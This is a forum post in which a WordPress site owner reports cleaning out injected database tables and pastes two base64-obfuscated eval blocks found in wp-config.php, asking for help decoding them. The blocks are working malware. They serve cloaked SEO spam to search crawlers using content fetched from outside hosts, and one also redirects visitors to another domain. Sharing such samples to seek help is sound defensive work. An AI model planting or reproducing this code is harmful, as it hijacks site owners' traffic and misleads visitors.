I found the bad tables in the DB, and managed to clean them out successfully by dropping the tables mysqladmin. They contained the phrase "xhebjz". Here is an image of the table-names.
Also, I had these ugly, encrypted entries in my wp-config.php, which i fantasticly enough did overlooked earlier today:
// Change the prefix if you want to have multiple blogs in a single database.
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApO2lmKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSl7JGtleXdvPXN0cl9yZXBsYWNlKCcvJywnJywkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pOyRrZXl3bz1zdHJfcmVwbGFjZSgnLScsJysnLCRrZXl3byk7JGtleXdveD1zdHJfcmVwbGFjZSgnKycsJyUyMCcsJGtleXdvKTskdGl0bD1zdHJ0b3VwcGVyKHN0cl9yZXBsYWNlKCcrJywnICcsJGtleXdvKSk7JGhvc3R0PSRfU0VSVkVSWydIVFRQX0hPU1QnXTskcGF0aGgzPSRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyRwYXRoaDI9ZXhwbG9kZSgiPyIsJHBhdGhoMyk7JHBhdGhoID0gJHBhdGhoMlswXTskYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddO2lmKGVyZWdpKCJnb29nbGUiLCRhZ2VudCl8fGVyZWdpKCJzbHVycCIsJGFnZW50KXx8ZXJlZ2koIm1zbmJvdCIsJGFnZW50KSl7JHVyZD1yYW5kKDAsMTUwKTtlY2hvICI8SFRNTD48SEVBRD48VElUTEU+Ii4kdGl0bC4iPC9USVRMRT48TUVUQSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50PVwidGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04XCI+PE1FVEEgY29udGVudD1cImluZGV4LGZvbGxvd1wiIG5hbWU9Uk9CT1RTPjxNRVRBIGh0dHAtZXF1aXY9XCJDb250ZW50LUxhbmd1YWdlXCIgY29udGVudD1cImVuXCI+PC9IRUFEPjxCT0RZPjxIMT4iLiR0aXRsLiI6PC9IMT4iOyRkb21haW4xPSJ5YWJhdG1lbi5jb20iOyRmaWxlMT0iL2FsbG15a2V5LnR4dCI7JGZwMT1mc29ja29wZW4oJGRvbWFpbjEsODAsJGVycm5vLCRlcnJzdHIsMzApO2lmKCEkZnAxKXtwcmludCAiRXJyb3I6ICRlcnJzdHIgWyRlcnJub10iO31lbHNle2Z3cml0ZSgkZnAxLCJHRVQgJGZpbGUxIEhUVFAvMS4wXHJcbiIpO2Z3cml0ZSgkZnAxLCJIb3N0OiAkZG9tYWluMVxyXG5cclxuIik7d2hpbGUoIWZlb2YoJGZwMSkpeyRob3N0MS49ZnJlYWQoJGZwMSw1MTIpO31mY2xvc2UoJGZwMSk7fXByZWdfbWF0Y2hfYWxsKCIhPGJlZ2luPihbXjxdKyk8ZW5kPiEiLCRob3N0MSwkbWF0Y2hlczEpOyRkb21haW4zPSJ3d3cuZ29vZ2xlLmNvbSI7JGZpbGUzPSIvaWU/cT0iLiRrZXl3by4iJmhsPWVuJmZpbHRlcj0wJm51bT0xMDAmc3RhcnQ9Ii4kdXJkOyRmcDM9ZnNvY2tvcGVuKCRkb21haW4zLDgwLCRlcnJubywkZXJyc3RyLDMwKTtpZighJGZwMyl7cHJpbnQgIkVycm9yOiAkZXJyc3RyIFskZXJybm9dIjt9ZWxzZXtmd3JpdGUoJGZwMywiR0VUICRmaWxlMyBIVFRQLzEuMFxyXG4iKTtmd3JpdGUoJGZwMywiSG9zdDogJGRvbWFpbjNcclxuXHJcbiIpO3doaWxlKCFmZW9mKCRmcDMpKXskaG9zdDMuPWZyZWFkKCRmcDMsNTEyKTt9ZmNsb3NlKCRmcDMpO30kaG9zdDM9c3RyX3JlcGxhY2UoJzxhIHRpdGxlPSInLCc8YmVnaW4+JywkaG9zdDMpOyRob3N0Mz1zdHJfcmVwbGFjZSgnIiBocmVmPScsJzxlbmQ+JywkaG9zdDMpO3ByZWdfbWF0Y2hfYWxsKCIhPGJlZ2luPihbXjxdKyk8ZW5kPiEiLCRob3N0MywkbWF0Y2hlczMpO2ZvciAoJGw9MDsgJGw8IGNvdW50KCRtYXRjaGVzM1swXSk7ICRsKyspeyR0ZXh0MT1zdHJ0b2xvd2VyKCRtYXRjaGVzMVsxXVskbF0pOyR0ZXh0Mj1zdHJ0b3VwcGVyKHN0cl9yZXBsYWNlKCctJywnICcsJHRleHQxKSk7ZWNobyAiPGEgaHJlZj0naHR0cDovLyIuJGhvc3R0LiIvIi4kcGF0aGguIj8iLiR0ZXh0MS4iLyc+PGltZyBzcmM9J2h0dHA6Ly95YWJhdG1lbi5jb20vaW1nLyIuJHRleHQxLiIxLmpwZycgYm9yZGVyPTAgYWx0PSciLiR0ZXh0Mi4iJz4iLiR0ZXh0Mi4iPC9hPiI7ZWNobyAiPGJyPiI7JHRleHQzPSRtYXRjaGVzM1sxXVskbF07ZWNobyBzdHJpcF90YWdzKCR0ZXh0Myk7ZWNobyAiPGJyPiI7fWVjaG8gIjxiPjxhIGhyZWY9I3RvcD4iLiR0aXRsLiIgMjAwOTwvYT48L2I+PC9CT0RZPjwvSFRNTD4iO2V4aXQoKTt9aGVhZGVyKCJIVFRQLzEuMSAzMDIiKTtoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbTA4Yi5jb20vaW4uY2dpPzImcGFyYW1ldGVyPSRrZXl3b3giKTtleGl0O30='));
$table_prefix = 'wp_'; // example: 'wp_' or 'b2' or 'mylogin_'
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOyRhZ2VudD0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107aWYoZXJlZ2koImdvb2dsZSIsJGFnZW50KXx8ZXJlZ2koInNsdXJwIiwkYWdlbnQpfHxlcmVnaSgibXNuYm90IiwkYWdlbnQpKXskZG9tYWluMT0ieWFiYXRtZW4uY29tIjskZmlsZTE9Ii9hbGxteWtleS50eHQiOyRmcDE9ZnNvY2tvcGVuKCRkb21haW4xLDgwLCRlcnJubywkZXJyc3RyLDMwKTtpZighJGZwMSl7cHJpbnQgIkVycm9yOiAkZXJyc3RyIFskZXJybm9dIjt9ZWxzZXtmd3JpdGUoJGZwMSwiR0VUICRmaWxlMSBIVFRQLzEuMFxyXG4iKTtmd3JpdGUoJGZwMSwiSG9zdDogJGRvbWFpbjFcclxuXHJcbiIpO3doaWxlKCFmZW9mKCRmcDEpKXskaG9zdDEuPWZyZWFkKCRmcDEsNTEyKTt9ZmNsb3NlKCRmcDEpO31wcmVnX21hdGNoX2FsbCgiITxiZWdpbj4oW148XSspPGVuZD4hIiwkaG9zdDEsJG1hdGNoZXMxKTtmb3IgKCRsPTA7ICRsPCBjb3VudCgkbWF0Y2hlczFbMF0pOyAkbCsrKXskdGV4dDE9c3RydG9sb3dlcigkbWF0Y2hlczFbMV1bJGxdKTskdGV4dDI9c3RydG91cHBlcihzdHJfcmVwbGFjZSgnLScsJyAnLCR0ZXh0MSkpO2VjaG8gIjxhIGhyZWY9Jz8iLiR0ZXh0MS4iLyc+PGltZyBzcmM9J2h0dHA6Ly95YWJhdG1lbi5jb20vaW1nLyIuJHRleHQxLiIxLmpwZycgYm9yZGVyPTAgYWx0PSciLiR0ZXh0Mi4iJz4iLiR0ZXh0Mi4iPC9hPiI7ZWNobyAiPGJyPiI7fX0='));
I would be great if anyone could decrypt them. The file was dated 12th december. The day 2.7 came out? Anyhow, the admin-panel worked flawlessly just some days ago.
I guess this was an old, known exploit, which trigged because of my old theme (an old, adapted version of Kubrick). If anyone have a clue which exploit that was, I would appreciate it.